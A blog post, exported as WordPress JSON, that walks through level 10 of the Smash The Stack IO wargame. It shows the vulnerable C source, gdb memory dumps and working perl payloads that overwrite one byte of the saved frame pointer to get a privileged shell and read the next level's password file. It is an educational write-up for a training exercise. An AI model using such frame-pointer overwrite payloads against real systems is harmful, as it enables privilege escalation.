{"id":210,"date":"2012-08-12T14:17:25","date_gmt":"2012-08-12T21:17:25","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=210"},"modified":"2012-08-12T14:17:25","modified_gmt":"2012-08-12T21:17:25","slug":"io-level-10-all-your-base-are-belong-to-us","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=210","title":{"rendered":"IO Level 10 &#8211; All Your Base Are Belong To Us"},"content":{"rendered":"<p>Today we&#8217;re going to be taking a look at level 10 of the Smash The Stack wargame, IO. \u00a0As usual, the password at the end will be stripped out and replaced with Y&#8217;s. \u00a0To follow a long, go a head and ssh into level10 on io.smashthestack.org with the password obtained from finishing level 9.<\/p>\n<p>Once we&#8217;ve logged in, the first thing we want to do is check out our files for the level. \u00a0Getting a quick ls -la \/levels\/level10* shows us there are two files of interest, an executable and it&#8217;s C source file. \u00a0Let&#8217;s start our analysis by reading the source file:<\/p>\n<blockquote><p>level10@io:~$ more \/levels\/level10.c<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;unistd.h&gt;<\/p>\n<p>\/\/ Contributed by Torch<\/p>\n<p>int limit, c;<br \/>\nint getebp() { __asm__(&#8220;movl %ebp, %eax&#8221;); }<\/p>\n<p>void f(char *s)<br \/>\n{<br \/>\nint *i;<br \/>\nchar buf[260];<\/p>\n<p>i = (int *)getebp();<br \/>\nlimit = *i &#8211; (int)buf + 1;<\/p>\n<p>for (c = 0; c &lt; limit &amp;&amp; s[c] != &#8216;\\0&#8217;; c++)<br \/>\nbuf[c] = s[c];<br \/>\n}<\/p>\n<p>int main(int argc, char **argv)<br \/>\n{<br \/>\nint cookie = 1000;<br \/>\nif (argc != 2) exit(1);<br \/>\nf(argv[1]);<\/p>\n<p>if ( cookie == 0xdefaced ) {<br \/>\nsetresuid(geteuid(), geteuid(), geteuid());<br \/>\nexeclp(&#8220;\/bin\/sh&#8221;, &#8220;\/bin\/sh&#8221;, &#8220;-i&#8221;, NULL);<br \/>\n}<br \/>\nreturn 0;<br \/>\n}<\/p><\/blockquote>\n<p>Reading through, we can see the program takes one command line argument, and passes it to the &#8220;f&#8221; function. \u00a0It later checks to see if the integer variable &#8220;cookie&#8221; is equal to the hex value 0xdefaced, and if it is, a shell is spawned. \u00a0Simple enough so far, now let&#8217;s look at that &#8220;f&#8221; function.<\/p>\n<p>This function takes one character pointer, &#8220;s&#8221;, as an argument and\u00a0has two variables, an integer pointer called &#8220;i&#8221; and a character array of size 260 called &#8220;buf&#8221;. \u00a0It then assigns to &#8220;i&#8221; the value returned from the &#8220;getebp&#8221; function. \u00a0Following that, the global integer variable &#8220;limit&#8221; is set to the dereferenced value of &#8220;i&#8221; minus &#8220;buf&#8221; plus one. \u00a0Finally, there is a for-loop which copies bytes one at a time from &#8220;s&#8221; to &#8220;buf&#8221; until &#8220;limit&#8221; is reached, or &#8220;s&#8221; contains a null character, marking the end of a string. \u00a0While this for-loop uses &#8220;limit&#8221; to try and limit stack smashing from a buffer overwrite, it isn&#8217;t initialized in a fully safe manner.<\/p>\n<p>Given what we should know about memory layout, the difference between buf (which represents the low memory address of the stack) and ebp (which represents the high memory address of the stack), is the length of the stack frame. \u00a0Additionally, adding one makes &#8220;limit&#8221; one longer than the length of the stack frame. \u00a0This means that one byte past the end of the stack can be overwritten. \u00a0So, how can we use that to change the value of the &#8220;cookie&#8221; variable in main? \u00a0Well, let&#8217;s look at the beginning of f() in gdb:<\/p>\n<blockquote><p>(gdb) disass f<br \/>\nDump of assembler code for function f:<br \/>\n0x0804841b &lt;f+0&gt;: push %ebp<br \/>\n0x0804841c &lt;f+1&gt;: mov %esp,%ebp<br \/>\n0x0804841e &lt;f+3&gt;: sub $0x128,%esp<\/p><\/blockquote>\n<p>The very first line we can see that ebp is pushed onto the stack. \u00a0This effectively saves it before the &#8220;f&#8221; function changes it and uses it for it&#8217;s own use. \u00a0When f() finishes running, it restores ebp to the value which was pushed onto the stack (the &#8220;leave&#8221; instruction in f does this). \u00a0Thus, in our program today, main&#8217;s ebp is the 4 bytes on the stack immediately preceding f()&#8217;s stack frame. \u00a0The term for this saved ebp is the Saved Frame Pointer (SFP). \u00a0So, now we know that the &#8220;f&#8221; function is written in a manner which allows the least significant byte of the SFP to be overwritten. \u00a0That&#8217;s great and all, but that doesn&#8217;t let us overwrite the &#8220;cookie&#8221; variable in main. So, how does it help us?<\/p>\n<p>Well as it turns out, main (or any other function) doesn&#8217;t know the exact address of any of it&#8217;s local variables. \u00a0Instead, it knows the offsets of variables from the frame&#8217;s base pointer. \u00a0This is so a program doesn&#8217;t have to hard-code memory addresses. \u00a0However, it intrinsically\u00a0makes programs vulnerable to frame hijacking. \u00a0If we can change the ebp of a frame to a memory location where we can control what is at which offsets, we can effectively make the program use different variables. \u00a0This is exactly what we will do here. Even though f() doesn&#8217;t overwrite all of the SFP, it does overwrite the last byte. \u00a0So, let&#8217;s look in memory and see what we can do with that value. \u00a0Let&#8217;s go a head and run the program through gdb, breaking in f() before leave, after the for-loop has run. \u00a0Let&#8217;s also run with an argument that&#8217;ll overflow the buffer, say 300 A&#8217;s:<\/p>\n<blockquote><p>Breakpoint 6, 0x08048488 in f ()<br \/>\n(gdb) x\/400xb $esp<br \/>\n0xbfffda50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffda98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdaa0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdaa8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdab0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdab8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdac0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdac8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdad0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdad8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdae0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdae8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdaf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdaf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41<br \/>\n0xbfffdb78: 0x41 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08 &lt;&#8211; overwrite stops, 297 bytes overwritten max. Overwrites 1 byte of sfp<br \/>\n0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08<br \/>\n0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08<br \/>\n0xbfffdb90: 0xc5 0x15 0x3a 0x00 0x80 0x23 0xc0 0x00<br \/>\n0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00 &lt;&#8211; cookie ;c<br \/>\n0xbfffdba0: 0xf4 0x4f 0x4b 0x00 0x00 0x00 0x00 0x00<br \/>\n0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x8c 0x38 0x00<br \/>\n0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf<br \/>\n0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0x28 0x68 0x00<br \/>\n0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01<br \/>\n0xbfffdbc8: 0xf4 0xff 0xc0 0x00 0x43 0x82 0x04 0x08<br \/>\n0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf<br \/>\n0xbfffdbd8: 0x66 0x19 0xc0 0x00 0xb0 0x0a 0xc1 0x00<\/p><\/blockquote>\n<p>Looking at the end of writing, we can see that SFP gets one byte overwritten. \u00a0Additionally, we can see that since it&#8217;s close in memory location, SFP&#8217;s address is almost the same as some of the addresses in buf (the list of 0x41&#8217;s). \u00a0So here&#8217;s an idea, since we control what&#8217;s in buf, let&#8217;s try and set SFP to point into buf somewhere. \u00a0Let&#8217;s try and figure out what offset cookie is at in main&#8217;s stack frame. \u00a0To do that, let&#8217;s look at the disassembly of main, speficially the following line:<\/p>\n<blockquote><p>0x080484c5 &lt;main+59&gt;: \u00a0 cmpl \u00a0 $0xdefaced,-0xc(%ebp) &#8211;compare value defaced to cookie<\/p><\/blockquote>\n<p>The above line does what the added comment says, compares the hex value 0xdefaced to the value of cookie. \u00a0Thus we can see cookie is at offset -0xc, or decimal value 12 from ebp. Thus, we need to have the value 0xdefaced in memory 12 bytes &#8220;lower&#8221; than our fake ebp. \u00a0So now, let&#8217;s think about where we&#8217;ll place our value in memory in buf, and how we&#8217;ll overwrite the SFP to give a fake ebp and frame.<\/p>\n<p>If we overwrite SFP with the byte 0x44 (ascii &#8220;D&#8221;), the fake SFP will point to 0xbfffdb44. \u00a0Subtracting 12 from that, we see we need to store our value for cookie (0xdefaced) at 0xbfffdb44 &#8211; 0xc, which is 0xbfffdb38. \u00a0We also know we need to fill up 297 bytes. \u00a0So from the memory block above, the space between the start of buf and\u00a00xbfffdb38 is 232, then we need to write our four bytes of 0xdefaced. \u00a0Finally we need to fill the rest with &#8220;D&#8221;s. \u00a0So let&#8217;s run it through gdb, and check our memory during a break point just to make sure:<\/p>\n<blockquote><p>(gdb) run `perl -e &#8216;print &#8220;D&#8221;x232,&#8221;\\xed\\xac\\xef\\x0d&#8221;,&#8221;D&#8221;x61&#8217;`<br \/>\nStarting program: \/levels\/level10 `perl -e &#8216;print &#8220;D&#8221;x232,&#8221;\\xed\\xac\\xef\\x0d&#8221;,&#8221;D&#8221;x61&#8217;`<\/p>\n<p>Breakpoint 1, 0x08048488 in f ()<br \/>\n(gdb) x\/400xb $esp<br \/>\n0xbfffda50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda80: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda88: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda90: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffda98: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdaa0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdaa8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdab0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdab8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdac0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdac8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdad0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdad8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdae0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdae8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdaf0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdaf8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb00: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb08: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb10: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb18: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb20: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb28: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb30: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb38: 0xed 0xac 0xef 0x0d 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb40: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb48: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44<br \/>\n0xbfffdb78: 0x44 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08<br \/>\n0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08<br \/>\n0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08<br \/>\n0xbfffdb90: 0xc5 0xf5 0x13 0x00 0x80 0x23 0xf1 0x00<br \/>\n0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00<br \/>\n0xbfffdba0: 0xf4 0x2f 0x25 0x00 0x00 0x00 0x00 0x00<br \/>\n0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x6c 0x12 0x00<br \/>\n0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf<br \/>\n0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0xa8 0xa2 0x00<br \/>\n0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01<br \/>\n0xbfffdbc8: 0xf4 0xff 0xf1 0x00 0x43 0x82 0x04 0x08<br \/>\n0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf<br \/>\n0xbfffdbd8: 0x66 0x19 0xf1 0x00 0xb0 0x0a 0xf2 0x00<br \/>\n(gdb) step<br \/>\nSingle stepping until exit from function main,<br \/>\nwhich has no line number information.<br \/>\nExecuting new program: \/bin\/bash<br \/>\nsh-4.1$<\/p><\/blockquote>\n<p>Alright! \u00a0There we have it in gdb. \u00a0However, outside of gdb, memory is allocated sightly differently and it&#8217;s extremely difficult to pinpoint a specific memory address such as 0xbfffdb38. \u00a0So how would we do this outside of gdb so we could actually get privilege escalation?<\/p>\n<p>Well, we don&#8217;t have to be as technically precise as we were with gdb. \u00a0If we fill buf with repetitions of 0xdefaced and overwrite the SFP to point somewhere in there, we just have to make sure the offset is correct so that SFP-12 points to the beginning of one of the repetitions of 0xdefaced. \u00a0So let&#8217;s try that:<\/p>\n<blockquote><p>level10@io:~$ \/levels\/level10 `perl -e &#8216;print &#8220;\\xed\\xac\\xef\\x0d&#8221;x74,&#8221;D&#8221;&#8216;`<br \/>\nsh-4.1$ whoami<br \/>\nlevel11<br \/>\nsh-4.1$ cat \/home\/level11\/.pass<br \/>\nYYYYYYYYYYYY<\/p><\/blockquote>\n<p>Tada! \u00a0There we have it. \u00a0We were able to hijack main&#8217;s ebp by overwriting the SFP in f(). \u00a0This effectively allowed us to trick main into thinking the value of it&#8217;s variables had changed, even though the original variable value at the original location hasn&#8217;t changed. \u00a0 \u00a0This level goes to show how buffer overflows can cause unwanted effects even without attacking the return address, and how important the base pointer is.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today we&#8217;re going to be taking a look at level 10 of the Smash The Stack wargame, IO. \u00a0As usual, the password at the end will be stripped out and replaced with Y&#8217;s. \u00a0To follow a long, go a head &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=210\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,6,4],"tags":[27,50,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/210"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=210"}],"version-history":[{"count":5,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/210\/revisions"}],"predecessor-version":[{"id":215,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/210\/revisions\/215"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=210"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=210"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=210"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}